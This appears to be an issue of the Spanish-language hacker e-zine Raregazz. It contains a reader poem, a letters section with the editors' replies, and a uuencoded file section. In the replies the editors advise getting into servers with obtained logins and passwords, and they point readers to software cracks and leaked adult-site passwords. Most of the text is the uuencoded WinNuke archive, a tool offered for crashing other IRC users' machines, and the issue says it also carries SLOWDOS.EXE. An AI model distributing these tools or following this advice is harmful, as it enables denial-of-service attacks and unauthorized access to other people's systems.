diciembre. o despues de ese mes. cuando la primavera regrese. El invierno pasara para mi en diciembre o permanecera para siempre. empero aun es noviembre y me muero de ganas por saber que pasara en diciembre. Chin! pensaba invitarla a la playa en mi casita de acampar a ver las olas, quizas hasta logre convencerla de fumarse un gallo/porro conmigo. pero ahora recuerdo que en diciembre hace frio. ni modo. adios primavera en la playa. seguramente me quedare en el eterno invierno. solo. o felizmente acompañado. [ gracias por enviar estas participaciones. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Me agrado, el contenido de la revista... me gustaria hacer varios comentarios y preguntas - Es dificil ser Hacker? [ no podria decirlo exactamente. ] - No han tenido problemas con la ley? [ algunos... :-) ] - Cuanto tiempo le dedican diariamente a estar en la red? [ no mucho. ] - Como han logrado hacer creer a la gente que sus programas no son dañinos. [ creyendo nosotros mismos que no lo son. Recuerda, son "educativos." ] En lo personal me gusta todo este tipo de informacion y cuando logro decubrir algun tip en algun paquete me lo guardo. NO CREEN QUE TANTO TIEMPO QUE HAN DEDICADO A REALIZAR SUS OBJETIVOS, PARA QUE OTRO CABRON LLEGUE Y LOS UTILIZE O SE CREA HACKER...NO LES MOLESTA? [ En lo absoluto, la informacion debe ser libre y la forma en que esta sea manejada o con que finalidad es responsabilidad del receptor de esta info.] Me gustaria seguir preguntando pero, estoy seguro que me mentarian la madre con justa razon, pero ya por ultimo.....Yo baje todos los archivos que ponen a disposicion, y hasta ejecute uno que se llama RAREGAZZ.EXE este me mando un grafico tipo virus... le afecta en algo a mi PC? [ El archivo raregazz.exe no hace ningun daño...Hey! es BASIC. ;) ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Quisiera saber como Crackear programas que piden el CD y siempre lo buscan. Como los juegos MDK y Screamer2. [ Consigue el FAKECD.ZIP que sirve para eso. Puedes bajarlo aqui: http://members.tripod.com/~DaAngel/fakecd.zip http://hem.passagen.se/jeda/zip/fakecd.zip ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ mi pregunta es...¿es verdaderamente necesaria una cuenta shell para el hack? ....y si lo es...¿como puedo conseguirla? [ Si. si es necesaria la cuenta shell para realizar los comandos como rlogin y para la compilacion de codigo, etc. Para conseguirla consigue el login/password de un servidor y usa una terminal telnet para entrar. Una vez dentro del servidor estaras en una cuenta shell si recibes el prompt de unix (# o $). ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ necesito saber si hay algun programa con el que pueda reiniciar la bajada de software osea bajarlo en partes. [ Asi es programas como estos pueden ser: Get it right (getrt210.exe) y GoZilla Downloads (gozil211.exe). La ventaja de get it right es que `jalando' un link desde netscape hasta la ventana del get it right puedes empezar a bajarlo y si quieres interrumpir el download lo haces y continuas luego. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Estaria bien ver en la revista algunos passwords a sitios XXX. [ En la pagina http://raregazz.islatortuga.com seccion links puedes encontrar de vez en vez lugares donde publican ese tipo de informacion. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Otra cosa es que tengo una duda haber si me pueden echar la mano, quisiera que me dijeran si existe una manera de Hackear las tarjetas de Amigo de TELCEL ya que la verdad se gasta una lanota en esa pinches tarjetas. [ alguien podria ayudar? ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Que paso con el nuevos numero llevo un mes esperando y ni madres ya saquen el nuevo numero no? [ El nuevo numero sale cuando se termina. No lo escondemos ni nada asi. ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\ Encantado de haber podido recibir y contestar su correo. Hasta pronto y envien sus preguntas a raregazz con confianza pero permitan de 3 a 4 dias para recibir respuesta pues a veces estamos algo ocupadines >;-) En ocasiones no podremos ayudarlos pero siempre esperamos que algun lector sepa sobre sus dudas y nos envie respuesta. raretrip. ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% seccion: UUENCODE ~~~~~~~~ En esta seccion incluimos los archivos WNUKE4.ZIP, class.zip y SLOWDOS.EXE el zip contiene las classes para los applets java. {]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{] [}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[} -WinNuker para Nukear en IRC. (Ver texto sobre IRC) begin 644 wnuke4.zip M4$L#!!0``@`(```(C">EYJJJ57<``,[8```*````5VYU:V4T+F5X9>6]"UQ3 M5]8HOL])<A*2$,)31!Y!,:((*BA5>51%XJ.*5!1MK5J$*"""34Y`.QIQ:*TA M8!_C=,8XCUK:3FN=?O8U@[8C*-9G'VH[K:]I';5M,-:Q:A41<_YK[WU.2-#. M=^_][OW][O>_MF'OO=;::[_67GOMQ]E[YJ.(81!"*J1'@J!""`?@WP3T/_"/ M0?_E?[OU2)?P7M`GB:W,C$\2GWMN3GF%U;#24K/,4K+"8#$_8:NPF*V&F16E MEAIKS5+>,*^BNJRFSIH6K$XR_._X5Y#/,6XFB>1%+5,@9$`3[O3'!5/`?UH4 M`C51CIY@UC";&:T,0S&.%7.OEM6F'7E0'W?DP0]G?1BMC_LP&K&3XPOC)L>/ M"%TZIC!XZ9CPU#?91X(7A3)(5D^K:]EC]8P^EJG'?IT(^WYA/=+'TOKDZD,I MW2+$C(QEGB7^Q=C/4O_CV"^C_A+LEU/_$NQ74'\I]G/47X;]2NHWUZ.1L2KB M_Y[X@RA\*:914_\R[-=0?SGVWZ;^"NSOIOY*'/<.Y4/\=RE\.?9[*9SXA6=I M3:EF3IQ6,"UO5H'2-&/6K,GYLXGX<"@81:%X-!@-16GH`92+\M!#",GG%N7/ MYA[*GUV0/T,U9]:L&5/S9Q0JYTTK*)J5]Y`(ETV9/(W0J1[*?V32K(FS)XL( M`L3$8Q_(G^E#*@3FDP>9CQ/QW[$9^&_:</RW]`'\MRH'YU$C9BTM?WX^^G_D MG\SG&PC2/A#-1-$9>E20'H'6I4>CR;I8I,TOXBWFDA7Y%DN-12*>18@K@'@U M$$\$XGP@GH8T^::**K,E@/870#L+;0;:5X!V!=`^`;0VI,Z?;2XI"R!]C9`* M0'H,2'\+I+\#TI>`[3Q+!6\.H#U!LG`+:-N!=C_0'@+:CX'MC`HK'T"J8+3H MW*BA3'2&!TC_!:3748@LE;DCDS']%'>08@Z.DB>JLP<8.5`7`W5_IB`]CEF7 MGLC$I`]F.E6C&!0TAHE2S68T<PK-%BM$,E?S2O]`"M/(N$>]`*R4>54E5JO9 MBM"W(N.S#(=2F!^!<1Q;D%X+C)\$QG9@;&&T&A=3IMX#N!?A]Q<F0?L'YB\A M+S/=(:\QAT.W,TN#WF(V![W#?!JT"?"[X7>$>4*SCQFC/<"PP9]"^)>,*_@$ M8PKYDEF@/\U,"-W`J.9`RU54+[,J?;ZGF)^8/&8MZY^]WXC:S,G&HJ>8U]CH MC&N0O4AV77I_]INP:6RG*I35:F:R9>H2]HW(,>S)R''LCY$Y[/ZHB6Q.OWS6 M$IW(C@N?RVX.>IC]-"B538YXA-T<L9`]&_$T.T:[@DV,JF`KHARL*_@)UA1B M8Q?H5[,30@>S)\+7LW?#1[$AD69V2_105B-F$K>%TC\PB-W.?LO<"<CT7,>W M^^V<XW9*@;JADZG5S]JIOGOMK1Z;LCF?;=KGX9PFM;-8>_B("AT"/=.\!PE1 M\X1:N2M6P<IV,H6M)]#N&-GL0M?2X"#LO)L\6'9X'RNRY>:Y;+)?RNKM:L0K M7!WI/\D.'^'0(<@`((W.?)7#Y'6:O,:L?+4MB)MGW)]C%!;*G05JYR(MP/>> M8S'=_K5R69?1$6QT+"1A(5\%2)PE2*42T73^I-PDD_PWN-F*PT?D&-T`2:\! M7FH<,2M?M49#2$A*<8393&"FQJBU&>"9`&G2!+EY$/3/`3=/S'0*@1>Z;*-B M.%P>2*9<<]7]M1>G>4B.4(-=B]8,<)JT8J)K0T@V@L2$`O(`5`'%="J,SKFL MP]3C*/;VR8#1&6QT+F3[QJ`5XRSH<2ZZ)P;%D=:3^RJ];W6;.&>Q2DJQQUGL M5XY_4WGW9"X@XY1-;ULWK%6K[,J#)J\>>:)$@)P`5,BC`$<NYDXM,WD+21O^ MFB/Y``:CVJF<2-4YD,I&0,)9Q5J;(LNDYA6"R>LYT4MMP]P%H5=B&NPZ4BJ= M2&#O*Q+WJR*)&`N)+D!&=!-^1DATHI`\J)0$6O?S`GWXB/I^>0NL\7_#!L?' M5274:H5:->T&\Q5O<E!Q#7:OP`<+M5X*W2S[BA,KPZ\C3@UJ7S,<B#TRH<#K MHSTF=W-!QVS^D;]4`C]D.R7)B)]T*-?;U3T/VOL("<6J;;)..Q$HFQHW9P]. MZP&GV),L"95**CE4-%2('X"+AVNSQU>E8GTZE*+\(#[2*-B@^FQR+#@$W93` MJ:CT82)'OMSHF(MU&'C58E\E4OUO\VI70QT2&9R@ZBV?/4G,A)]^P*@4FK-* MY-HR:IE$[\!-2I(#@,:DY<.%6I50R^VWJZ7T/+I*)&FLZ:IN%6X1675%U:&1 M#!(C)3;O.>>-@O*K(0J0;<NPJIKMYZ+F52:XGAN^0>4);3.I=/-Z06^IRM'5 M9M.YIA..#<>\CA=/>`]L^,(KE]AP$IN_JQKVRYLWG/-BPI-`>!H(SV+"8T!8 MR6#-_@R[^ZP*5/JEX`LJHME7J<4>Y%<4R/G'02)8=.(_(@(XZDS/CFR#1;O^ MCH#XG_*,&QG/OU3M?&AV#!^<K>;5V<&VBSO`PQ08-\8YKC:=3CB\3RW&E^^W MJWIV;-P[\H?KK[0&J]]T=#7M`[1/8J6.J0<I(K*I)D(B@2<'R+<N`)=$H_CU M$PJ/)7&TV"13GPXZ)&?$EOFG>IZZ]5"0KG"ND,FS#B//]C;A0OU4D-I1[5FF MGG63:.<Q>9OW]'CQ$.GUH],&!B-F%_JEG`PI`P=;Q[,<SS;LYUH?5>LHWO6P M9HGZ*"X)0NWJ)]2DZG&^VYYB6C>H"^>Y@L:\J(%*G27E]9"Z=9$Z(*^^9$;> M4^3A4H)'_1(\HS[JT?MKD2A5G$9L6=KOY,BFJ60D)@:JP.18'RA%XPA(V^0: M':WV-D;?.DQ3*`:.A;:^$%SHWR#ZH/:=R,Y,*/3K&G[I"3/E4IK(ER95/BR8 M(SUW<5UK_?AI:0.4"PCZPU9M(#*":AD`2E']*\2?,OJ>Z@ILM5A`TI0"(ZF) M</7X4TK#KZ3W_$;'"`8=-'4S?63Z)J:\X33=R#+=7)O5O.<*$:@;_CF%[MNX MX8IWY,4)$QRFKM:K0HJI.\O4964]&J>IBS%U"Z8;GK\)M=VND=RD8/]1V6&Z MXBB^"LQ!=B]CV;V\;K3#=`W+[C6A]JI0>Z5YSV62X#7_!-UE/5+,:Q#'=GR_ M_8KQ@`+Y6PR!Y>CM&V/NTS?\*QWKD<WR#X.#VFVL)UCL#L?Z#-M";5C?OCP9 M8/=VY,-'=-!?8D-^&PQ3D)#7@@^%L;Z^;-6U;@[VZQ_E2`^#3[3.8>IV%/>T M;@K^F;[C-'4[BWL4"!KGFJ,8FN::L_B&KSY2P$/&6<1#'J_@/'9SN)@P6OU& M1^."64/I"0&--.K$;'^I=QYRFJXXBZ_*]DJ<KV29KEF#:$W'>&:`7$&+TD9R MM;(OZ7QT$"NKN,<V+,O4;1L,`@.B71Y^%8ST/^FP*A^(=C\80HSTMW1$E2>' MT%R!K#F*NYRFFUFF*]8Q^^TWC?4Y,?QPH;9+J+U)!0\ZDCNYFQ)2B+\V]720 MR-<LLLZ?O%)\66>G5](M*2&Z0IIO7-=-"=:0HQ)J4DBOVMD9<I1V$Q8D2HOM MN,?_T\YMUO]<Y_8#CO;U4[^.Z5H4?"-$ZI9"K>Y^3'2!3'2DH0)Y!.M%LXU8 M7PB+/Q;E7\<,TOL+#X7^OO\#>E6[+9Y.H2CL1LPL?4!M?D'AK\<\HJ=J?TCH M(?TA+8.HH&:$BH(Z5^\GJ/Y-V:<#WL`=\,:Z,JD#0F.!HLA!(9;!1$9IV">' MKN^B^X?ZLY,$X<:]W=9=U"5)#_37&[9M/\,P-U1J[\S00%'(#Q/'MMVA,T+] M1]Q]H:WC0W^V)^+YJ&0L]A@;%=F('YE-A!:WC4]`W-9;E.H>+9WD.2!EZ:/0 M7A$\&WK49\APHC;#15@=%Q-V?[TVXG]`K^V)&QXF:K0O*:0I[KVPWAF9&DHP M\J)"@;`5_$28I*GQE`P7SZ$``Y85#9R>]0?E,`A2Z7\Q3%*]`3899VS,EXL, MFQ+>#!/GP60*KFJXK'*]F/Y!&-8)=]'NE\-!&<C3D\.IQ0J_N2I"J!3KA^9# M-&2Q3=<.9%KXZ>"GAU\8@43`+PI^T?"+`2.9,VKR57P_OPZ`)RNXEC/2,\)] MJP%+(OUGB/5@T-N",9VX,.#)(,5NM@>VWN-@[_2GY=1D(YO<4^A19[,VKCSX MJGO!O_P('Y.,+FQFN]+#W@DG`[B8DY?D?PMW'-RT#R\=*,P1?O'F]XXY/H,' METH7U,Z'T6J&*4<8_/2XF<4*#B"-"B"-@5\T5BW2G,D_DV*.R!S,)UC)DF!1 MD1*S?$Q>!3:(:VW8+R-$B?I'+](F>R>@$+W9\JL/M3^S7939D8@`^&;9W3Y\ MN'OY:`.BJ.0%D8%10+C5"!TP"=3FZ=-[ND%P8:!:9P979NH^[@8+!A2-?]X^ MB,1M0\6=C/JN;^4G(D'?--AOHK5!8.*`V=/C200/9HBAM@A(CZ&2I&%XD-TN M3/(K)TX?YG^*1I.`#7S25P(J0A[EGYA6ZF!?]/,7SUZY).(A%X>.`$;9A-%_ MLA)"Y#RB=\KB8H-_$X7;.^'GQ/V>%8R^\H-9\ERY]JK[T<O22"4*_9^B`H7^ MG2B?T%^/"FPT]7UELY>WUT,'15]Q]?W\QDJJH$#26:,P!A(V]/-/.(]+Z4?U M,TA<2;^^"=]7P/JD]FH_G//YC_I48I^\J_!:A):TCQKR!7Z927W<7>C/XT/( M<9>CN+M/M[K2SU\`NJ@')(Z+#FI?2]:3/J6COB]&2O3]8R3T#VJW*X2"'L^G MM(NNB_&9#+[>,B<:]^R"'I%"UEDC$)NG9RV=>(GV17V_JFA"HL9PKV]"5M_O MBVA1$(@J]3=4'O-H[]]YJ=AE$S%N6*MB[*/\8U7ZB_C40BF=Y/Y]-0HV<L2U M"1/IE_>8WW+?0MQ@:NF4R[$=.J(_'G->0[L?ZD_LT,S^Q`Z=W5_LDOOM<FX> M)OD%VKV>DCQ"26KZ']XG]UM\+H_`_&IBW(>$PQV^9>9Q`S;W'P^)AM(Y(]88 MI;%O]'<?$/SZ'J$[WU\%$TX;,V&C21")B6:0BXLU8%UX'B$K3C/UQI29NKJP MV7@]<E3,JICYCXKPH!,V;MQ>"^O8ZURDNW6&Y\:=@L"I^*&'&DXCXT<VE5%F MTQF9F=`T.J9`9U6L-^G'Q_5<?R7!L3?HN&T;+C2U%W&MJZ05+BVVF^BZ5^]J M)!YH&];JD4VJ3QDN_[H8L;)>CB&5M2&&5)8F7AJE=6*)*AE:\-K^[\=(("2! M/HOQ#1-498C$'?VOQ`!H_4&&R#>U4:A11]',`(D7)_&*&'`/DXP!_Y9)P0!I M@;?9#@7SCUDQ0&R3WG:GJ`]B&@?`W+<>0(AG/1>E=K/+,VGW^GW_WPT`E:GO MA93&[AC@^;HW_'K,I0%XBP*S;K"KT#K5FH4-=@[5SB.AH#4IZR'$U";1="O! M]F9Z8W?T#XE=7PWXAD4JY!DH;8C@H=Z?:&PL'ODXATGEV7IX'T=4:[.]AY12 M[D]8$TL5!,#FN9<+.&/K8M?'/A/[?.S6V%=C_P/^VP__'8C].%:4&"+%?XO- MUM25_-;1<?Q"FO"GAV(]<^>Z;WH]LW`ESG4/$CSYX&/GNOL+GBR<Y%QWB.`9 M!3[U7+="\`P)K-,O8J%./6$>_5SW7,$CZIEY`V['!G:+!53\M7[=8GI<99S4 M+;3_OELX%Y(N@06>^>:C6E_'$`1?Q_BC3QL$]`M=;[^`"<6&N)^3\7-Q6^+Z MR/BYN-8X?QDG0CAABR2$IV./2HM-DB2?BSL=YS<Z_S'NAD31;%?[2^GI6'F\ MJ&!%>WI`/+&GQ\6WI#&.J)%D%740NWL@!O\N+#V^)1W`HQF16A`(M2"T9`)X M+'/XJ`RQR(#DY%Q$#ME15C"),2RR$%CO[O*Y4=/OV5T.RE]5:E[)5]142Y0S MR+YN'5".!\I<M$HW"2W5F9`V?Y:-G[5TIGE%C66U1+P:Z8"X!8B7`?%R8%L# M;*U(DS^M&L@#=H%?)8P_`=I?`>UO@'8KT/X1LC"M.I#R,Z!\%74!Y=^`<B]0 M?@24AY$Z?W)%[:35CYHM-1)I-R%-8J(SW$!Z&4BO`ND-R,#LDNIE@3O61@;3 M/@RT$4Q!>C2S+CV6F:PS,%J<@5FU9LO2JIHZB;B(P;E=`\03@3@?B*<!\4Q& MG3^SA"\/X&L'TB+F3T!:!:0K@90'TE5`.JVZMJ2JHFS62HGT#4+Z.9#^!DBW M`ND?@;2%T>3C0D'I*LK,$NW?">U=H.T`VH-`>Q1H/V."\OOF52"4R6QTQ@]` M^2-0_@24MR$#<ZO+`DF'L;A8\X$TFBU(CV77I1O8R;HD-D3*:V%-135O]I7M M44+_--!/!?H90%\(]'-8K42?5V+E)>)G"/&[0&P#XM5`O!:(U[/!^7DUU9#G MP%9^GU!_#]0M0/TGH'X3J/^##<\OM-24FJW6&LL]PMD)<=YG=;+HC*\@SAF( M\PW$N<!R^:826Y4O(WJ9%D@?`#(OD+&R=>F<;+).+5/E3RD,(!Q'"$N!<(BL M(#T%"$<`889,DU_$EY0N#Z`U$]I-0%L$M/.`=@'0+I:I\PM+EID#2)\CI'\# M4CN0_A)(-P!IHTS7*Q%Y-;TMW2;#I>H$\C\#^=M`_CZ0[X)<3+*82Y:OQ$TB MT7H(+2>/SC@%M/\`VG\"[;<XQQ75RZK,1;QYI;]A]`R[.UA.QOH(.1GK\^3$ M,!+W=>MSD"UDVR3&&369H6:Y9PB9)6-]A]<6%LA].VSBMAJ=YFR2]R[A$E7/ M:4PJ/E[DR4?Z+2Q05DT)M^0BL;C5LV/D16-CY,B;4S;N'7N\EMUX?.0/UU_C MAS8^)M3?*;&HZN\\62>K]QB,C6N%>@$#!`SXEV'L'?ZKC2<W=@\]ED"W:_"* MOM<KK8X=400I9A<"Y*XT4AU1/`(0ER`@)$W$Z.)'YNLLR:2*6AOE7N3:J\45 MHS)N5!P^PHK6EHX46AJSM6!'+54`#39C.=<X92XG\L,6^"Y!&-E^[:U6KS#T MD%3<GH]J53!#Q-M1S@)NG->JO,M\RGQ6,.OZ*ST)XD0FWB_RK>,?D7TR'`'& M.&F#K$>$WFG:!U7W_/571K9O_U5";]HJ7_2[LQI-'&0"H2TV!>8RH4<<<F@R MB,%T-\5D-A[:3E(1=^]-'*X4:/JUG&]9B:XI-9AZ6*G5H6Z2L2$D3ZB%>:8\ M`9'=1-KJ^*!'@V(GMFP.Y)V#BCL)C0/&P!;%JT+#"51(=QI-)QW%IP^8SG+- M]I-X@'1-5)S@W)/ND@T[(IYZL`L%,K6&21VN^"K%.:[05_-;PE*50"3KHAL* M>F=Q6.#L64?';[W8N@*PU$IVI9;(I3\S,V9&VEV<68916J%6_V_C/0OQPD@\ M/9$7H*?9)4O(O?;2$46$"AL08;[LN/ZNQ,6DD<&TYQ""=MMHZCE@NHM\/*!. MB0G8;.^&:F*)&`>U\ZI&4S?,13P<B2(0PQ=OYN.M(2^#Q`5&+ZEY[Q9%&ZEY M$-TA*J?=N_=[V?J#O#9^7J42^G*.RH_P,XFPD!+*UQ_\&!.&`&&MJL'NU=I> MO6\*WT@1';X4-@>+*?S1/X7O),)W?"GL#Q93"`J"%)2V5P]W(&[%B+(1JU=K M5\`_0]EPPVKXQY:L8%>N8,K9\G*%8>+,PIFR\2M6</`;;[4>TF.;_RJDTF9B MXN>U/83_?*C2S7,]H8P,:NO1B'DI"*+XN?`'I&YL$$(OR[44MIC">`Q3B+!R M#!ON>DNY).AE3H19,"P-8(U!+RM%V"\PC'5-54-<E0A[!L-&`-V?@EX.TOKG MKAG_^1O-W;M!;6JIBC\)\J?Z+?ZSGU*="FJ+P51XP_Z26(:7,?_QP%^I?GE\ M`/_7\9_C-&:XNBU;:NM4M3_56_C/%Y1JG+IMLD2U6$WQ[]'Z6*_&(F<+;_N* M'!OHBJ)4%K4GM.U4`.BW8L0/:40JJQ#Q+*&Z*E*]I?;(#YBNBLU%8KMJA[>J MV\[CK/PT?)^:T(+O4W7;#*EJOE8'TKO5;=]1^FL^>J^Z[3&IDI[4'#Y*AB:Y MLYAS'`_:RP>O[Q8$7HD7VZ(0(N/@6):H>]`@!TUGD^#/UWC&=19W6CE>DKJD M(;UMP<$-A[P1S,$-1[R`WW.([G1*?3$'(##:-.\YC8]!/.9R*Y[2*!@$8TX( M]YR&Z(K*69"C-DVCZ48V8PG.EM4%.4TW<1H.!5%X?\"#V)*[`:<VCFJ:[8?$ M(QH3M-M>9QT;EG@/;BCS0CXW+"49*2,944D9B7-N>-*+J1HWK/%"0AI(2.G< M8/?B&64(U<[N2UX\Q2Q6"7]9`OUW(][W0`SAT&QWXU)LE$HQ74M+\;JB6AM@ M)+3N8YI.2XMBY&C!0-1JTY*C!>."5>W\6%P,9[[<Z)S+]>ZZ8,L@GFZ_C+P( M+JCN^IPT7M/:T<L.QN3*EF;[1LC"!->T8%S(C:31`=)L.H1/GHSW.E[,]A[8 MD.N5-YO<&#()(),!8O**FP^.#=,!-`-`!5X8JWOP(.C8,!M@<P!6[`7KI<M9 MW.W8\"B`'@/0(B_7O&<\+KC<M8NS!9-\O"+E`U=.I7].RO5Z`O1?41/W2=8% MDR'+%2-_-]CO--%]=TCH_I]_[+W!_G;&@6!@T_V?LL&G+-D`-CH=L,&9%9F% M`;,!.FGMS<4H#3K@/%?WGW'6^0Y4T!-3KF7RQW6^K1B+3C0K?)#=$H28$SIZ M>J&[P=ZM7!?IM'?O_9YU/GV`R>(VL_C$7;?G6X(:2%'"^X?(+'<UVKT7;SBW M!'?J1*,TM7+CMLWL%KJ/?L!T$T3U&C8:1/*K.G+BZ-$02@ZDQ&+)UXYJ;]DL MV2P=AWBR#)G#()M^VV2=,\HDLN]\E,EA$:_.D:,U(W/4:%V*TZX^_KWSUO'O MF5OK#YYGXI6X\)`8[9HMP?O$E#H-3(X,\?H<#5HKZU0S.7IDEW6RS#WQ'?97 MFDRO28<F7W<4;V^V[\#"M#UJGGO5G7K[#L375&YKWO,*,61?(94=JXC4DQ-7 MKY`35TT@JYM`5I_#<K\#0S8#Y$6`_!8+].O.XNV.#;\#T!\`]))7T;RG"0LT M"_G&'$G6+P6/THMUNJ#RY;[)6?R3^\^8;Y;.?/DQWRPQ#W(CK[3.[R7;MUCW M7'HW>8=>E!"?=8/-J.V:]_2M#'(UQ$\/)2?:-#"Q1\%DRJ,+T>,5V\>Y^$TG M;YE4J-Y6YXH/(_JN,HO[CK&5.4VJG!!D?;P^-Q?:%C<P/P<WRZP/=NO3O@*Z M287;QC,:+IN9S_<C*1+;*GX\`ZIJE/<0/]:3U)![&>(F"=QEYAF37C!I'9<7 M0D<0=)>92R$A+X=B3X*R!*!'A<SOF$JJ,2FD8;_Z,SS4[,]-0DWM05V\LM$D M-V[,3Q//-#?DO@#BM:+>SB'^@6UNR,DEQI;6=D3?J@HKG(=5#6'6XF8<49>8 M2B1D7F*$3#=-HI)QMPB>D3BR;9@8F4^L1.YF01QA`\A!XMU,RR4&F^AD1<OU M=&A:V+:I(.[3=2T;64=4(TO&19HDE.09W(EFH-UCPDB?FQ36,EGG@+[1&A*R M>U98RQJ(8F=;7?K=CX6UK(+`DRP^&5(7UE(/@5^RVS:R3N#9,A4B3=>UHK#= M3X>)Z4`E/1WZZS"RX.YV"N['?W+]H,J*A.2=EQLNCVY:!*-"!)CM']7JG`7: M@Z8>A'HT)WCM!?6.:=F#^;#MTVTW-BWR.@^FF"*<WRX\$H8N7"68[YH?\SH6 MW=AHNIF=:I-?.+-CFOMQE#T>)CN+>CQG'(NZ/Q"$[#2;\L)>P)B08U&7HU;W M\&QW$WK4N:@[Y925S3A3;[^9:E.G'+?*94<R3EQ_Y9E3DG^GX?KVWM#U5QZ! M_'4N%3+.9`_C#=DC+9.RQ]7E#A^9?K'P^`5GQ_$+QR_(3LZ7G;R0LF.:YQS9 MI>3J8@13S_%S^+_X8IC^R:[6KY$C&^N,791P0;9C6L?\SL%"TC>-AT#HG8MZ MLA9Q=1DXQ@7\'Z:_[I0[Y["-C\G3!;)6^TGX3^'?A)=&'(VHBG@CXIF(;R"4 MT0Z54TCF&S><)EV*Z4:AN_Q:_>W)?$C][;E\0OWM^;8SN_3($ZTYL3KTUNE; M)QM.([<2[4R=6+!1WK%+C9IKSS9]ONF,\W3&B5_=^A'^K]\WLKY[O$56OT]9 ML#'">4SSN>UB<\'9E$^=Q5T-W7H+TY%RO%8M.[)S)'"8;NONJ+]=9(O=Q2#B M"7=>W71Z1^.A]!^R"KKJF`YG05='YWP!H[HPBIOG[-JT+[T=X!<4U]ZR,;.< MGZ5\NE@)D0MM7QXT=:D09-==+DPL<(*I(7=.ECDFLP<FR\=WX.COHOK;4_AQ M[S+UM_/Y]'?9^MLF7O>NK/YV`:^LOSW3MOE=>6L8@IQF':M-W`T#(L#ZQT,= M-4:IM`D>'8SYNV4H)PS5REI#$-XT_1C&1EXE\)S`RP6>%487%<X&>E=G9$Z< M\U!S[<=1"9`[-?DR#&Q@5`8_MPPA_1"$7MK`H`F30E#]B[^E2S.&#_?TQ]_M MR=L.#]@T>L(?WE^9\OJ?/_I]Q82_O_:9,"UAU;[/)YQKZJP_/&7WKUZ?N.GK MV[^_X[%O?SCOX/.ZU]YZJ?^%%E,_K6W]!EOMX:DSOUV8\]'"+.<?7GATZV\, MC>SLQ_</MB$TH7;\<LW7XZ5O`^N%=0^&%TPLF%9@(OTI%OK3-CD^Y+*-TY)1 M5\6NA<FYBL4;%F%V[`U#S::+42`S$>00G&^FJFH-&0*#.&N1P1!5J'-_)0<[ M+:K':;J8*JR#L=$:MN="I"Y!=A7_MTN&KK_B&=Q<^WU40N,B=?T=!@3NCKQ. M!>19)I6=?1>E"[(S:<)OGH\2NV\4[KX1Z*TH93\>_ONDWPYUNTT&4M11;_\. M\;*=J=L[W-<%9\'%C!-9!:IU<0VW[ZZ)UAQ>%[USY/;Z;,2/;S3=V7[KU,Z1 MU[=[^H&\30(&?-3V\UW8#6L\!^@WL5>YW=.%B4"-*-,O9ASV#'RNP^T2W)N$ MQJ5WWG06J*:Y&X3MY[O?2W$6<`VWY18VX_#._,9%WSN++T[?KCYCDV><\*@U M)]9R.U-OG?9PZHN\K''_]A<:+LN=9S-.I-W*G!()G21S8[^\:9IVVP^0Q<Z' 